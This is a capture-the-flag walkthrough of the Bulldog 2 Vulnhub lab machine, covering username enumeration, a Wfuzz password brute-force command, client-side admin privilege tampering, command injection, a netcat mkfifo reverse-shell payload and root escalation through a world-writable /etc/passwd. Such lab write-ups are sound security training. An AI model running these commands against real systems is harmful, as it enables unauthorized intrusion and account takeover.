Bulldog: 2 | Vulnhub Walkthrough

Dot Dot Slash
egghunter
Published in
6 min readAug 23, 2018

Bulldog 2 is an advanced challenge, packing a combination of new and legacy attack vectors. Though beginners may find this VM difficult, Bulldog 2 is a fun and challenging machine for people who are into security. Designed by Nick Frichette and hosted on Vulnhub, Bulldog 2 is the second edition in the Bulldog series. Nick has made the source code for Bulldog 2 available on his GitHub repository, which is very helpful.

Level: Advanced

On boot-up leased IP address was displayed on the machine screen.

Machine displays leased IP

Enumeration and Initial foothold

Nmap scans were able to discover only a web application running on port 80.

Detailed Nmap Scans

The main application was a nicely designed social media website powered by AngularJS (check the favicon of the application). Angular is named as the super heroic MVC platform by its makers and is a quite impressive platform in terms of security the platform provides.

Bulldog.social website

Nikto and dirb results were not satisfactory and I decided to browse around the site. Bulldog.social wasn't accepting registrations but there was a considerable number of users already in the application. I was logging the HTTP traffic in burpsuite proxy while I was browsing the application. In the proxy logs, I spotted an interesting API call to /users/getUsers?limit=9. I removed the limit parameter and there were 15000+ users!

Registration blocked
Login page
Bulldog.social has several users registered
Application has 15000+ users.

For any application with large number of users, the chances for a brute-force attack to be successful is high. In fact, the chance of success increases with the number of users in the application. With little bit of command line tricks, I extracted the username list and used the fasttrack.txt wordlist in Kali to start my attack. I used jq parser for converting JSON response to proper format for grepping.

Extracting usernames form the response.

I had no luck with hydra and then I had to do the bruteforce attack using Wfuzz. For incorrect passwords, the application responded with 401 error code and I only had to filter out responses with code 401 .Wfuzz is a very powerful fuzzer which can be used for many advanced tasks. Quickly, Wfuzz was able to crack several logins.

wfuzz -w users -w /usr/share/wordlists/fasttrack.txt \
-H ”Host: 192.168.56.101" \
-H ”Accept: application/json, text/plain, */*” \
-H ”Referer: http://192.168.56.101/login" \
-H ”Content-Type: application/json” \
-d”{\”username\”:\”FUZZ\”,\”password\”:\”FUZ2Z\”}”
--hc=401 -t 25 -c http://192.168.56.101/users/authenticate
Brute-force attack using Wfuzz

Using the compromised credentials, I logged into the application as “mdrudie”. On using the browser debug tools, I was able to figure out that a JWT token was assigned to the logged in user and his privilege levels were stored in the HTML5 Local-storage.

Rule 1: Do not trust the client

Frameworks like Angular does a lot of heavy lifting on the client side. Several functions which were traditionally performed on the server side are now offloaded and performed on the client side. In real world pen-tests, I have observed that many such modern MVC applications take interesting security decisions based on client side values. A deep dive into the client side JavaScript code was required to see if the situation can be turned to be more profitable.

Logged-in View
User details and privileges in Local-storage.

Inside the main.8b490782e52b9899e2a7.bundle.js I was able to figure a dashboard URL (/dashboard) which was not accessible for me yet. The source code was minified and obfuscated. I had to use online JS beautifiers to make the code readable. I found an interesting isAdmin() function.

Basically the isAdmin() function is checking if the user is an admin by checking if his auth_level in local-storage is master_admin_user. This is a vulnerable implementation and is prone to client side attacks. I modified the auth_level of mdrudie to master_admin_user in the local storage. I got access to the admin dashboard!

Vulnerable isAdmin function
privilege changed to master_admin_user
Access to Admin dashboard

Dashboard has another level of authentication and is possibly asking for admin credentials. However there is a hint there, authentication is done using Link+ CLI tool. So it is using some sort of PAM like authentication and on the background it may be a command line tool performing the authentication.

I could confirm my assumption from the source code available in Nick’s repository. Here the username and password parameters are passed onto exec function without any sanitization. This is vulnerable to command injection.

Code vulnerable to command injection

Whenever I need to perform command injection, I find the below links pretty useful:

Reverse shell

Target machine had netcat installed, but it had no -e flag support. I was able to get a reverse connection using the payload provided in the pentest monkey cheat-sheet.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 444>/tmp/f
Reverse shell obtained

More Enumeration

I used the linuxprivchecker.py script to enumerate the system. In the world writable files, I found my gold. Alternatively you can use below command as well.

find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null
World writable files identified by linuxprivchecker.py

World writable /etc/passwd File

The /etc/passwd file is often treated to be less sensitive and is readable to all users. However the moment /etc/passwd file is writable to all users, game changes!

The /etc/passwd file was historically used to store user passwords. Even-though modern Linux systems use /etc/shadow file(which is accessible only to super users) for storing password hashes, for backward compatibility reasons Linux systems support password hashes to be mentioned in the /etc/passwd file. If a password hash is mentioned in the second column of /etc/passwd file, it takes precedence over the /etc/shadow file.

So to append a new user with id as 0(userid 0 has root privileges), we need to provide a valid password hash in second column. Crypt function in Perl can be used to create password hashes in the compatible format. Crypt function takes the password and its salt as the arguments and returns a single password hash.

Creating hash for the password “foo”
Appending a new line for user named boot who has root privileges (uid 0)

Privilege Escalation

Now I could just switch to boot user with password as “foo”. I had to spawn bash using python to switch to boot user. Flag can be read from /root folder.

Root access
Flag file

Bulldog 2 is a tricky and challenging virtual machine. I found the published back-end code of the machine in the GitHub repository quite helpful. Shoutouts to Nick for this wonderful box.

--

--